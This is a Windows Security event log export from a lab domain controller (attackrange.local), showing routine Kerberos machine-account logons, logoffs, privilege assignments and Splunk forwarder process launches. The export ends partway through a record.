03/11/2021 11:49:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252025
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D24A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252048
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D516

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252047
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D516
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64584

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252046
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D516

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252045
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D4B5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252044
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D4B5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64583

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252043
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D4B5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252042
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D44F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252041
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D44F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64582

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252040
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D44F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252039
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D3EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252038
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14D3EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64581

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252037
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14D3EE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252070
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1174
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252069
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DEA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252068
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14DEA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64588

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252067
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DEA0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252066
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DE3F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252065
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14DE3F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64587

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252064
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DE3F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252063
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DDD9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252062
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14DDD9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64586

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252061
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DDD9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252060
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DD78

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252059
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14DD78
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64585

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252058
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14DD78

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x780
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x780
